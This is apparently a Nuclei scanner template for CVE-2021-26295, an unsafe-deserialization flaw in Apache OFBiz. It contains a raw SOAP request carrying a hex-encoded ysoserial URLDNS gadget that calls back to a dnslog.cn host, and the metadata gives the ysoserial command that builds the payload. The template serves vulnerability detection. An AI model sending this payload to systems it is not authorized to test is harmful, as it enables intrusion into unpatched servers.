67 lines
2.7 KiB
YAML
67 lines
2.7 KiB
YAML
id: CVE-2021-26295
|
|
|
|
info:
|
|
name: Apache OFBiz <17.12.06 - Arbitrary Code Execution
|
|
author: madrobot
|
|
severity: critical
|
|
description: Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
|
|
reference:
|
|
- https://github.com/yumusb/CVE-2021-26295-POC
|
|
- https://lists.apache.org/thread.html/r3c1802eaf34aa78a61b4e8e044c214bc94accbd28a11f3a276586a31%40%3Cuser.ofbiz.apache.org%3E
|
|
- https://lists.apache.org/thread.html/r6e4579c4ebf7efeb462962e359501c6ca4045687f12212551df2d607@%3Cnotifications.ofbiz.apache.org%3E
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-26295
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-26295
|
|
cwe-id: CWE-502
|
|
metadata:
|
|
ysoserial-payload: java -jar ysoserial-master-d367e379d9-1.jar URLDNS http://t53lq9.dnslog.cn | hex
|
|
tags: apache,cve,cve2021,rce,ofbiz
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /webtools/control/SOAPService HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/xml
|
|
|
|
<soapenv:Envelope
|
|
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soapenv:Header/>
|
|
<soapenv:Body>
|
|
<ser>
|
|
<map-HashMap>
|
|
<map-Entry>
|
|
<map-Key>
|
|
<cus-obj>bcc62005737220116a6176612e7574696c2e486173684d617005070c341c16606403200246200a6c6f6164466163746f724920097468726573686f6c6478703f4020202020200c770820202010202020017372200c6a6176612e6e65742e55524cfb2537361a7fa37203200749200868617368436f6465492004706f72744c2009617574686f726974797420124c6a6176612f6c616e672f537472696e673b4c200466696c6571207e20034c2004686f737471207e20034c200870726f746f636f6c71207e20034c200372656671207e20037870a0a0a0a0a0a0a0a07420107435336c71392e646e736c6f672e636e7420012f71207e2005742004687474707078742018687474703a2f2f7435336c71392e646e736c6f672e636e2f780a</cus-obj>
|
|
</map-Key>
|
|
<map-Value>
|
|
<std-String value="http://t53lq9.dnslog.cn/"></std-String>
|
|
</map-Value>
|
|
</map-Entry>
|
|
</map-HashMap>
|
|
</ser>
|
|
</soapenv:Body>
|
|
</soapenv:Envelope>
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "OFBiz.Visitor="
|
|
part: header
|
|
|
|
- type: word
|
|
words:
|
|
- "deserializing"
|
|
- "errorMessage"
|
|
part: body
|
|
condition: and
|
|
|
|
# Enhanced by mp on 2022/05/17
|